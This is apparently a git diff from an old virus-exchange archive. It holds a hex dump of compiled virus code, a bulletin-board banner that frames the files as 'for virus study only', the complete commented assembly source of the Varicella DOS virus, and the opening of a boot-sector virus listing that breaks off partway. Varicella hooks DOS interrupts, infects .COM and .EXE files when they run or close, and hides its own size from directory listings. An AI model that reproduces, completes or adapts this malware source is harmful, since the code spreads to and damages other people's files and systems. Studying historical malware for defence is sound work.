2E 80 3E 0C 00 E9 74 03-E9 6F 01 B8 02 42 B9 00 ..>...t..o...B.. +13B0:0730 00 8B D1 2E 8B 1E 0A 00-CD 21 72 EC 83 FA 00 75 .........!r....u +13B0:0740 E7 3D B6 04 76 E2 3D 93-F5 73 DD 2E A3 9E 04 2E .=..v.=..s...... +13B0:0750 A1 0D 00 05 03 01 2E A3-A0 04 B8 02 42 B9 FF FF ............B... +13B0:0760 BA F8 FF 2E 8B 1E 0A 00-CD 21 72 BC 2E 8B 1E 0A .........!r..... +13B0:0770 00 0E 1F BA 0C 00 B9 08-00 B4 3F CD 21 72 A9 3D ..........?.!r.= +13B0:0780 08 00 75 A4 2E 81 3E 10-00 F4 7A 75 77 2E 83 3E ..u...>...zuw..> +13B0:0790 12 00 05 90 73 92 2E A1-0C 00 2E A3 9E 04 2E A1 ....s........... +13B0:07A0 0E 00 2E A3 A0 04 2D 03-01 2E A3 0C 00 B8 00 42 ......-........B +13B0:07B0 B9 00 00 BA 01 00 2E 8B-1E 0A 00 CD 21 72 5F B4 ............!r_. +13B0:07C0 40 0E 1F BA 0C 00 B9 02-00 CD 21 72 51 3D 02 00 @.........!rQ=.. +13B0:07D0 75 4C 2E 8B 1E 0A 00 B4-45 CD 21 72 08 8B D8 B4 uL......E.!r.... +13B0:07E0 3E CD 21 72 39 B8 00 42-B9 00 00 2E 8B 16 9E 04 >.!r9..B........ +13B0:07F0 2E 8B 1E 0A 00 CD 21 72-25 B4 40 0E 1F B9 00 00 ......!r%.@..... +13B0:0800 CD 21 72 1A B8 00 42 B9-00 00 2E 8B 16 9E 04 83 .!r...B......... +13B0:0810 C2 0F 83 E2 F0 2E 8B 1E-0A 00 CD 21 73 03 EB 7A ...........!s..z +13B0:0820 90 2E 8B 1E 0A 00 8C CA-4A 8E DA BA 00 00 B9 B6 ........J....... +13B0:0830 04 B4 40 CD 21 72 E7 3D-B6 04 75 E2 2E 8B 1E 0A ..@.!r.=..u..... +13B0:0840 00 B4 45 CD 21 72 08 8B-D8 B4 3E CD 21 72 CF 2E ..E.!r....>.!r.. +13B0:0850 C6 06 0C 00 E9 2E 8B 16-9E 04 83 C2 0F 83 E2 F0 ................ +13B0:0860 83 EA 03 81 C2 AC 03 2E-89 16 0D 00 B8 00 42 B9 ..............B. +13B0:0870 00 00 8B D1 2E 8B 1E 0A-00 CD 21 72 A1 2E 8B 1E ..........!r.... +13B0:0880 0A 00 0E 1F BA 0C 00 B9-03 00 B4 40 CD 21 72 8E ...........@.!r. +13B0:0890 3D 03 00 75 89 B8 07 0E-CD 10 B4 3E 2E 8B 1E 0A =..u.......>.... +13B0:08A0 00 CD 21 B8 01 43 8E 5E-0E 8B 56 06 2E 8B 0E 08 ..!..C.^..V..... +13B0:08B0 00 CD 21 0E 1F BA 14 00-B4 10 CD 21 B8 24 25 2E ..!........!.$%. +13B0:08C0 C5 16 04 00 CD 21 58 5B-59 5A 5E 5F 5D 1F 07 9D .....!X[YZ^_]... +13B0:08D0 2E FF 2E 00 00 B8 02 42-B9 00 00 8B D1 2E 8B 1E .......B........ +13B0:08E0 0A 00 CD 21 72 B4 83 FA-00 75 AF 3D B3 FD 73 AA ...!r....u.=..s. +13B0:08F0 2E A3 9E 04 2E A1 10 00-48 B1 09 D3 E0 2E 03 06 ........H....... +13B0:0900 0E 00 2E 3B 06 9E 04 75-91 2E 8B 1E 0A 00 B4 40 ...;...u.......@ +13B0:0910 0E 1F BA 39 00 B9 84 00-CD 21 72 C8 3D 84 00 75 ...9.....!r.=..u +13B0:0920 E6 2E 8B 1E 0A 00 B4 45-CD 21 72 08 8B D8 B4 3E .......E.!r....> +13B0:0930 CD 21 72 B0 B8 00 42 B9-00 00 8B D1 2E 8B 1E 0A .!r...B......... +13B0:0940 00 CD 21 72 9F 2E C6 06-0C 00 E9 2E A1 9E 04 05 ..!r............ +13B0:0950 11 00 2E A3 0D 00 2E 8B-1E 0A 00 B4 40 0E 1F BA ............@... +13B0:0960 0C 00 B9 03 00 CD 21 E9-30 FF 00 00 E8 00 00 5B ......!.0......[ +13B0:0970 2E 89 47 FB B8 00 00 8E-C0 26 A1 C5 00 3D 7F 39 ..G......&...=.9 +13B0:0980 75 08 26 A0 C7 00 3C 05-73 32 8B D4 2B D3 81 EA u.&...<.s2..+... +13B0:0990 6C 0B 72 28 BA C5 04 B1-04 D3 EA 2E 89 97 54 FC l.r(..........T. +13B0:09A0 8C D9 03 D1 8E C2 8B F3-81 C6 51 FC 8B FE B9 B6 ..........Q..... +13B0:09B0 04 FC F3 A4 06 E8 03 00-EB 13 90 CB 8C C8 8E D8 ................ +13B0:09C0 8E C0 8E D0 2E 8B 47 FB-2E FF A7 01 01 BE 00 00 ......G......... +13B0:09D0 BF 00 00 8B CB 81 C1 61-FC 8C C2 4A 8E C2 8C DA .......a...J.... +13B0:09E0 4A 8E DA 03 F1 4E 8B FE-FD F3 A4 FC 2E 8B 97 54 J....N.........T +13B0:09F0 FC 26 29 16 03 00 26 8C-0E 01 00 BF 00 00 8B F3 .&)...&......... +13B0:0A00 81 C6 51 FC B9 B6 04 1E-07 0E 1F F3 A4 26 83 2E ..Q..........&.. +13B0:0A10 03 00 01 53 8C CB B4 50-CD 21 5B 2E 8C 0E 36 00 ...S...P.![...6. +13B0:0A20 2E 8B 16 2C 00 4A 8E C2-26 8C 0E 01 00 B8 21 35 ...,.J..&.....!5 +13B0:0A30 53 CD 21 36 8C 06 02 00-36 89 1E 00 00 5B B8 21 S.!6....6....[.! +13B0:0A40 25 8C D2 8E DA BA C0 00-CD 21 B8 00 00 8E C0 26 %........!.....& +13B0:0A50 C7 06 C5 00 7F 39 26 C6-06 C7 00 05 8C C8 8E D8 .....9&......... +13B0:0A60 B4 1A BA 50 00 CD 21 2E-8B 47 FB E9 4E FF B7 04 ...P..!..G..N... +13B0:0A70 AC 05 F4 7A 05 00 00 00 ...z.... + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/v/VARICEL.ASM b/v/VARICEL.ASM new file mode 100755 index 0000000..f8ec0fe --- /dev/null +++ b/v/VARICEL.ASM @@ -0,0 +1,764 @@ +;================================================================= +; (c) NuKE Software Development 1991, 1992, 1993 +; +; VARICELLA VIRUS (Size 1483) +; +; By Rock Steady +; +; TASM VARICELL; +; TLINK/T VARICELL; +; +virus_size equ last - init_virus ;virus size (bytes) +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;offset in memory + +seg_a segment byte public + assume cs:seg_a,ds:seg_a + + org 100h ;compile to .com + +start: jmp init_virus + +;------------------------------------------------------------------------------- +init_virus: call doit_now ;begin virus + +doit_now: pop bp ;pop call offset + sub bp,offset doit_now ;fix it with pointer + + push ax ;save registers + push ds + push es + + mov ax,0abcdh ;check if virus is + int 13h ;alive in memory + jmp next_code1 ;force jump + +virus_here: jmp exit_com ;error jump exit + +next_code1: cmp bx,0abcdh ;cmp bx if virus alive + jnz install_virus + jmp virus_here ;yes, skip memory part + +install_virus: push bx ;save registers + push cx + push dx + push si + push di + push ds + + xor dx,dx ;0 value to dx + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr cs:[int13+2][bp],es ;save int13 segment + + pop ds ;DS=PSP (.exe only) + push ds ;save DS + mov ax,ds ;ds=cx + dec ax ;dec cx, cx=mcb + mov es,ax ;es=cx, mcb + mov bx,es:mut1 ;bx=es:0003, mem size + mov dx,virus_size ;dx=virus size (bytes) + mov cl,4 + shr dx,cl ;convert bytes to 16k + add dx,4 ;paragraphs + 1 + mov cx,es ;cx=psp segment + sub bx,dx ;sub virus size from + inc cx ;new mem address + mov es,cx ;new segment + mov ah,4ah ;set the block size + int 21h + + jc exit_mem + mov ah,48h + dec dx ;alloc the mem + mov bx,dx ;bx=# of para blocka + int 21h + + jc exit_mem + dec ax ;new segment add + mov es,ax ;ax=es=mcb + mov cx,8h ;DOS is the owner + mov es:mut2,cx ;put it in mcb + sub ax,0fh + mov di,mut3 ;new offset to go + mov es,ax ;es=segment + mov si,bp ;add delta offset + add si,offset init_virus ;begining of virus + mov cx,virus_size ;our size + push cs ;get the correct + pop ds ;segment in ds + cld ;clear direction to + + repne movsb ;move us + + mov ds,cx ;ds=0000 + cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + +exit_mem: pop ds ;restore 'em + pop di + pop si + pop dx + pop cx + pop bx + +exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs ;fix cs=ds for .com + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop es + pop ds + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop es + pop ds + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + +ax_reg dd 0 +bp_reg dd 0 +int13 dd 0 +int1c dd 0 +int21 dd 0 +;=============================================================================== +; Int 13h Handler +;=============================================================================== +int13_handler: + cmp ax,0abcdh ;virus test + je int13_test ;yupe + +int13call: jmp dword ptr cs:[int13] ;original int13 + +int13_test: mov bx,ax ;fix + iret +;=============================================================================== +; Int 1Ch Handler +;=============================================================================== +int1c_handler: + iret +;------------------------------------------------------------------------------- +; FCB Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +fcb_dir: call calldos21 ;get the fcb block + test al,al ;test for error + jnz fcb_out ;jmp if error + push ax ;save registers + push bx + push cx + push es + mov ah,51h ;get current psp + call calldos21 ;call int21 + + mov es,bx ;es=segment of psp + cmp bx,es:[16h] ;psp of command.com? + jnz fcb_out1 ;no, then jmp + mov bx,dx ;ds:bx=fcb + mov al,[bx] ;1st byte of fcb + push ax ;save it + mov ah,2fh ;get dta + call calldos21 ;es:bx <- dta + + pop ax ;get first byte + inc al ;al=ffh therefor al=ZR + jnz fcb_old ;if != ZR jmp + add bx,7h ;extended fcb here, +7 +fcb_old: mov ax,es:[bx+17h] ;get file time stamp + mov cx,es:[bx+19h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal? + jnz fcb_out1 ;nope, exit then + sub word ptr es:[bx+1dh],virus_size ;sub away virus_size + sbb word ptr es:[bx+1fh],0 ;sub with carry flag + +fcb_out1: pop es ;restore registers + pop cx + pop bx + pop ax +fcb_out: iret ;return control +;------------------------------------------------------------------------------- +; ASCIIZ Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +dta_dir: call calldos21 ;get results to dta + jb dta_out ;if error, split + push ax ;save register + push bx + push cx + push es + mov ah,2fh ;get current dta + call calldos21 ;es:bx <- dta + + mov ax,es:[bx+16h] ;get file time stamp + mov cx,es:[bx+18h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal + jnz dta_out1 ;nope, exit then + sub word ptr es:[bx+1ah],virus_size ;sub away virus_size + sbb word ptr es:[bx+1ch],0 ;sub with carry flag + +dta_out1: pop es ;restore registers + pop cx + pop bx + pop ax +dta_out: retf 0002h ;pop 2 words of stack +;=============================================================================== +; Int 21h Handler +;=============================================================================== +int21_handler: + cmp ah,11h ;FCB find first match + je old_dir + cmp ah,12h ;FCB find next match + je old_dir + cmp ah,4eh ;Find first match + je new_dir + cmp ah,4fh ;Find next match + je new_dir + cmp ah,3dh ;Opening a file + je file_open + cmp ah,6ch ;Ext_opening a file + je file_ext_open + cmp ah,3eh ;closing a file + je file_close + cmp ah,4bh ;Execution of a file + je file_execute + +int21call: jmp dword ptr cs:[int21] ;original int21 + +old_dir: jmp fcb_dir ;fcb file find + +new_dir: jmp dta_dir ;new asciiz file find + +file_open: jmp open_file ;disinfect opening file + +file_ext_open: jmp open_ext_file ;disinfect opening file + +file_close: jmp close_file ;infect closing file + +file_execute: call check_extension ;check for ok ext + cmp byte ptr cs:[com_ext],1 ;is it a com? + je exec_disinfect ;yupe disinfect it + cmp byte ptr cs:[exe_ext],1 ;is it a exe? + je exec_disinfect ;yupe disinfect it + jmp SHORT int21call + +exec_disinfect: call exec_disinfect1 ;Disinfect file + + mov word ptr cs:[ax_reg],dx + pushf ;fake an int + call dword ptr cs:[int21] ;call dos + xchg word ptr cs:[ax_reg],dx ;restore dx + + mov byte ptr cs:[close],0 ;reset flag.. + push ax ;store 'em + push bx + push cx + push dx + push si + push di + push es + push ds +closing_infect: mov ax,3524h ;get error handler + call calldos21 ;call dos + + push es ;save es:bx= int_24 + push bx ;error handler + push ds ;ds:dx= asciiz string + push dx + push cs ;cs=ds + pop ds + mov dx,offset int21_handler ;hook error handler + mov ax,2524h ;with our int24h + call calldos21 + pop dx ;restore ds:dx asciiz + pop ds ;string + + cmp byte ptr cs:[close],0 ;Are we closing file? + je exec_get_att ;nope, then jmp + mov ax,word ptr cs:[handle] ;yupe, ax=file handle + jmp exec_open_ok ;jmp so you don't open + ;the file twice... +exec_get_att: mov ax,4300h ;get file attribs + call calldos21 ;call dos + jnc exec_attrib ;no, error jmp + jmp exec_exit2 ;ERROR - split + +exec_attrib: mov byte ptr cs:[attrib],cl + test cl,1 ;check bit 0 (read_only) + jz exec_attrib_ok ;if bit0=0 jmp + dec cx ;else turn of bit_0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + +exec_attrib_ok: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc exec_open_ok ;ok, no error jmp + jmp exec_exit2 ;ERROR - split + +exec_open_ok: xchg bx,ax ;bx=file handler + push cs ;cs=ds + pop ds + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[org_time],cx + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz exec_time_ok ;nope, file not infected + jmp exec_exit3 ;FILE INFECTED + +exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits + or word ptr cs:[old_time],dx ;seconds=day of month + + mov ax,4200h ;reset ptr to beginning + xor cx,cx ;(as opened files may + xor dx,dx ; have ptr anywhere, + call calldos21 ; so be smart!) + + mov word ptr cs:[marker],0DBDBh ;File Infection marker + mov dx,offset ds:[buffer] ;ds:dx buffer + mov cx,18h ;read 18h bytes + mov ah,3fh ;read from handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes jmp + sub cx,ax ;did we read 18h bytes? + jnz exec_exit1 ;if no exit + mov dx,cx ;cx=0 dx=0 + mov ax,4202h ;jmp to EOF + call calldos21 ;call dos + + jc exec_exit1 ;error? exit if so. + mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz + mov word ptr cs:[filesize],dx ;save upper 16bit fileSz + call chkbuf ;check if .exe + jz exec_cool ;jmp if .exe file + cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? + jb exec_cool ;if less jmp! + +exec_exit1: jmp exec_exit3 ;exit! + +exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning + mov cx,virus_size ;cx=virus size + mov ah,40h ;write to handle + call calldos21 ;call dos + jc exec_exit1 ;error? if yes exit + sub cx,ax ;cx=ax bytes? + jnz exec_exit1 ;not equal exit + mov dx,cx ;cx=0 dx=0 + mov ax,4200h ;jmp to top of file + call calldos21 ;call dos + + jc exec_exit1 ;error, then exit + mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize + call chkbuf ;check if .exe + jnz exec_com_file ;if !=.exe jmp + mov dx,word ptr cs:[filesize] ;get upper 16bit + + mov cx,4 ;cx=0004 + mov si,word ptr cs:[buffer+8] ;get exe header size + shl si,cl ;mul by 16 + sub ax,si ;exe_header - filesize + sbb dx,0h ;sub with carry + + mov cx,10h ;cx=0010 + div cx ;ax=length in para + ;dx=remaider + mov word ptr cs:[buffer+20],dx ;New IP offset address + mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) + add dx,virus_size+100h ;Dx=virus_size+256 + + mov word ptr cs:[buffer+16],dx ;New SP entry + mov word ptr cs:[buffer+14],ax ;New SS (in para) + add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para + mov ax,word ptr cs:[buffer+10] ;ax=min para needed + cmp ax,word ptr cs:[buffer+12] ;cmp with max para + jb exec_size_ok ;jmp if ok! + mov word ptr cs:[buffer+12],ax ;nop, enter new max + +exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size + add ax,virus_size ;add virus to it + push ax ;push it + and ah,1 ; + mov word ptr cs:[buffer+2],ax ;restore new value + pop ax ;pop ax + mov cl,9 ; + shr ax,cl ; + add word ptr cs:[buffer+4],ax ;enter fileSz + header + mov dx,offset buffer ;ds:dx=new exe header + mov cx,18h ;cx=18h bytes to write + jmp SHORT exec_write_it ;jmp... + +exec_com_file: sub ax,3 ;sub 3 for jmp address + mov word ptr cs:[buffer+1],ax ;store new jmp value + mov byte ptr cs:[buffer],0E9h ;E9h=JMP + mov dx,offset buffer ;ds:dx=buffer + mov cx,3 ;cx=3 bytes + +exec_write_it: mov ah,40h ;write to file handle + call calldos21 ;call dos + + mov dx,word ptr cs:[old_date] ;restore old date + mov cx,word ptr cs:[old_time] ;restore old time + mov ax,5701h ;write back to file + call calldos21 ;call dos + +exec_exit3: mov ah,3eh ;close file + call calldos21 ;call dos + +exec_exit2: pop dx ;restore es:bx (the + pop ds ;original int_24) + mov ax,2524h ;put back to place + call calldos21 ;call dos + + pop ds + pop es + pop di ;pop registers + pop si + pop dx + xor cx,cx + mov cl,byte ptr cs:[attrib] ;get old file attrib + mov ax,4301h ;put them back + call calldos21 ;call dos + pop cx + pop bx + pop ax + + cmp byte ptr cs:[close],0 ;get called by exec? + je exec_good_bye ;yep, then jmp + iret ;else exit now. + +exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx + iret ;iret +;------------------------------------------------------------------------------- +; Close File Int21h/ah=3Eh +;------------------------------------------------------------------------------- +close_file: cmp bx,4h ;file handler > 4? + ja close_cont ;jmp if above + jmp int21call ;else exit + +close_cont: push ax ;save 'em + push bx + push cx + push dx + push si + push di + push es + push ds + + push bx ;save file handler + mov ax,1220h ;get job file table! + int 2fh ;call multiplex + ;es:di=JFT for handler + mov ax,1216h ;get system file table + mov bl,es:[di] ;bl=SFT entry + int 2fh ;call multiplex + pop bx ;save file handler + + add di,0011h + mov byte ptr es:[di-0fh],02h ;set to read/write + + add di,0017h + cmp word ptr es:[di],'OC' ;check for .COM file + jne closing_next_try ;no try next ext + cmp byte ptr es:[di+2h],'M' ;check last letter + je closing_cunt3 ;no, file no good, exit + +closing_exit: jmp closing_nogood ;exit + +closing_next_try: + cmp word ptr es:[di],'XE' ;check for .EXE file + jne closing_exit ;no, exit + cmp byte ptr es:[di+2h],'E' ;check last letter + jne closing_exit ;no, exit + +closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag + mov word ptr cs:[handle],bx ;save handler + jmp closing_infect ;infect file! + +closing_nogood: pop ds ;restore 'em + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp int21call ;good bye, baby... +;------------------------------------------------------------------------------- +; Execute Disinfecting routine +;------------------------------------------------------------------------------- +exec_disinfect1 PROC + push ax ;save registers + push bx + push cx + push dx + push ds + + mov ax,4300h ;get file attribs + call calldos21 ;call dos + + test cl,1h ;is Read-only flag? + jz okay_dis ;no, jmp attribs ok + dec cx ;turn off bit 0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + jnc okay_dis ;No error? then jmp + jmp end_dis ;error? exit! + +okay_dis: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc dis_fileopen ;No error? then jmp + jmp end_dis ;Error? exit! + +dis_fileopen: xchg bx,ax ;bx=file handle + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz half_way ;nope, file not infected + + mov ax,4202h ;jmp to EOF + xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + call calldos21 ;call dos + + push cs ;cs=ds + pop ds ; + mov cx,dx ;dx:ax=file size + mov dx,ax ;save to cx:dx + push cx ;save upper fileSz + push dx ;save lower fileSz + + sub dx,1Ch ;filesize-1C=origin byte + sbb cx,0 ;sub with carry + mov ax,4200h ;position ptr + call calldos21 ;call dos + mov ah,3fh ;open file + mov cx,1Ch ;read last 1Ch bytes + mov dx,offset org_time ;put in ds:dx + call calldos21 ;call dos + call chkbuf ;Did it work? + je half ;Yes,Jmp + cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? + je half ;Yes, then jmp + + pop dx + pop cx +half_way: jmp end_dis1 ;exit, error! + +half: xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + mov ax,4200h ;pointer to top of file + call calldos21 ;call dos + + mov ah,40h ;write function + mov dx,offset buffer ;ds:dx=buffer + mov cx,18h ;cx=18h bytes to write + call chkbuf ;check if .exe? + jz SHORT dis_exe_jmp ;yupe, jmp + mov cx,3h ;else write 3 bytes +dis_exe_jmp: call calldos21 ;call dos + + pop dx ;pop original fileSz + pop cx + + sub dx,virus_size ;Sub with virus_size + sbb cx,0 ;sub with carry + mov ax,4200h ;ptr top of virus + call calldos21 ;call dos + + mov ah,40h ;write function + xor cx,cx ;write 0 bytes + call calldos21 ;call dos! (new EOF) + + mov cx,word ptr ds:[org_time] ;get original time + mov dx,word ptr ds:[old_date] ;get original date + mov ax,5701h ;put back to file + call calldos21 ;call dos + +end_dis1: mov ah,3eh ;close file handle + call calldos21 ;call dos + +end_dis: pop ds ;restore values + pop dx + pop cx + pop bx + pop ax + ret +exec_disinfect1 ENDP +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=6ch +;------------------------------------------------------------------------------- +open_ext_file: push dx ;save DX + mov dx,si ;asciiz=DS:DX now + jmp open_ext ;jmp +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=3Dh +;------------------------------------------------------------------------------- +open_file: push dx ;save dx (asciiz) +open_ext: call check_extension ;check extension + cmp byte ptr cs:[com_ext],1 ;is it a .com? + je open_ok_ext ;yep, then jmp + cmp byte ptr cs:[exe_ext],1 ;is it a .exe? + je open_ok_ext ;yep, them jmp + jmp open_exit ;ext no good, exit! + +open_ok_ext: call exec_disinfect1 ;disinfect file! +open_exit: pop dx ;restore dx + jmp int21call ;exit to dos... +;------------------------------------------------------------------------------- +; Checks Buffer (EXE) Header +;------------------------------------------------------------------------------- +chkbuf PROC + push si ;save register + mov si,word ptr cs:[buffer] ;get first word + cmp si,5A4Dh ;si=ZM? + je chkbuf_ok ;if yes exit + cmp si,4D5Ah ;si=MZ? +chkbuf_ok: pop si ;pop register + ret +chkbuf ENDP +;------------------------------------------------------------------------------- +; Check file Extension +;------------------------------------------------------------------------------- +check_extension PROC + pushf ;save flags + push cx ;save cx,si + push si + mov si,dx ;ds:[si]=asciiz + mov cx,128 ;scan 128 bytes max + mov byte ptr cs:[com_ext],0 ;reset .com flag + mov byte ptr cs:[exe_ext],0 ;reset .exe flag + +check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." + je check_ext1 ;jmp if found + inc si ;else inc and loop + loop check_ext ;loop me + +check_ext1: inc si ;inc asciiz ptr + cmp word ptr ds:[si],'OC' ;is it .COM + jne check_ext2 ; ~~ + cmp byte ptr ds:[si+2],'M' ;is it .COM + je com_file_ext ; ~ + +check_ext2: cmp word ptr ds:[si],'oc' ;is it .com + jne check_ext3 ; ~~ + cmp byte ptr ds:[si+2],'m' ;is it .com + je com_file_ext ; ~ + +check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE + jne check_ext4 ; ~~ + cmp byte ptr ds:[si+2],'E' ;is it .EXE + je exe_file_ext ; ~ + +check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe + jne check_ext_exit ; ~~ + cmp byte ptr ds:[si+2],'e' ;is it .exe + je exe_file_ext ; ~ + jmp check_ext_exit ;neither exit + +com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file + jmp SHORT check_ext_exit ;jmp short +exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file + +check_ext_exit: pop si ;restore + pop cx + popf ;save flags + ret + +com_ext db 0 ;flag on=.com file +exe_ext db 0 ;flag on=.exe file +check_extension ENDP +;------------------------------------------------------------------------------- +; Original Int21h +;------------------------------------------------------------------------------- +calldos21 PROC + pushf ;fake int call + call dword ptr cs:[int21] ;call original int_21 + ret +calldos21 ENDP +;=============================================================================== +; Int 24h Handler +;=============================================================================== +int24_handler: + mov al,3 ;don't report error... + iret ;later dude... +;------------------------------------------------------------------------------- +; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS + +close db 0 ;closing file + +;------------------------------------------------------------------------------- +; END - END - END - END - END - END - END + +flags dw 0 ;Flags are saved here +attrib db 0 ;file's attrib +filesize dd 0 ;filesize +handle dw 0 ;file handler +old_date dw 0 ;file date +old_time dw 0 ;file time +org_time dw 0 ;original file time + +;------------------------------------------------------------------------------- +buffer db 0CDh,020h ; 0 (0) EXE file signature + db 090h,090h ; 2 (2) Length of file + db 090h,090h ; 4 (4) Size of file + header (512k) + db 090h,090h ; 6 (6) # of relocation items + db 090h,090h ; 8 (8) Size of header (16byte para) + db 090h,090h ; A (10) Min para needed (16byte) + db 090h,090h ; C (12) Max para needed (16byte) + db 090h,090h ; E (14) SS reg from start in para. + db 090h,090h ; 10(16) SP reg at entry + db 090h,090h ; 12(18) checksum + db 090h,090h ; 14(20) IP reg at entry + db 090h,090h ; 16(22) CS reg from start in para. +Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! +last: +seg_a ends + end start +================================================================================ diff --git a/v/VBOOT.ASM b/v/VBOOT.ASM new file mode 100755 index 0000000..3684029 --- /dev/null +++ b/v/VBOOT.ASM @@ -0,0 +1,514 @@ + jmp short loc_3 + nop + dec cx + inc dx + dec bp + and [bx+si],ah + xor bp,data_10 + add al,[si] +data_14 dw 1 + add al,[bx+si] + add bh,[bp+di] + mov data_12,al + add [bx+di],dl + add [si],al + add [bx+di],dl + add [bp+di],dh +loc_3: + xor ax,ax + mov ss,ax + mov sp,7C00h + mov ds,ax + mov ax,data_5 + sub ax,2 + mov data_5,ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + sub ax,7C0h + mov es,ax + mov si,7C00h + mov di,si + mov cx,100h + rep movsw ; Rep while cx>0 Mov [si] to es:[di] + db 8Eh + db 0C8h + push cs + pop ds + call sub_1 + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_1 proc near + xor ah,ah ; Zero register + int 13h ; Disk dl=drive b: ah=func 00h + ; reset disk, al=return status + and data_24,80h + mov bx,data_25 + push cs + pop ax + sub ax,20h + mov es,ax + call sub_3 + mov bx,data_25 + inc bx + mov ax,0FFC0h + mov es,ax + call sub_3 + xor ax,ax ; Zero register + mov data_23,al + mov ds,ax + mov ax,data_3 + mov bx,data_4 + mov data_3,7CD0h + mov data_4,cs + push cs + pop ds + mov data_19,ax + mov data_20,bx + mov dl,data_24 + jmp far ptr loc_2 +sub_1 endp + + +;========================================================================== +; SUBROUTINE +;========================================================================== + +sub_2 proc near + mov ax,301h + jmp short loc_4 + +;==== External Entry into Subroutine ====================================== + +sub_3: + mov ax,201h +loc_4: + xchg ax,bx + add ax,data_18 + xor dx,dx ; Zero register + div data_16 ; ax,dxrem=dx:ax/data + inc dl + mov ch,dl + xor dx,dx ; Zero register + div data_17 ; ax,dxrem=dx:ax/data + mov cl,6 + shl ah,cl ; Shift w/zeros fill + or ah,ch + mov cx,ax + xchg ch,cl + mov dh,dl + mov ax,bx + +;==== External Entry into Subroutine ====================================== + 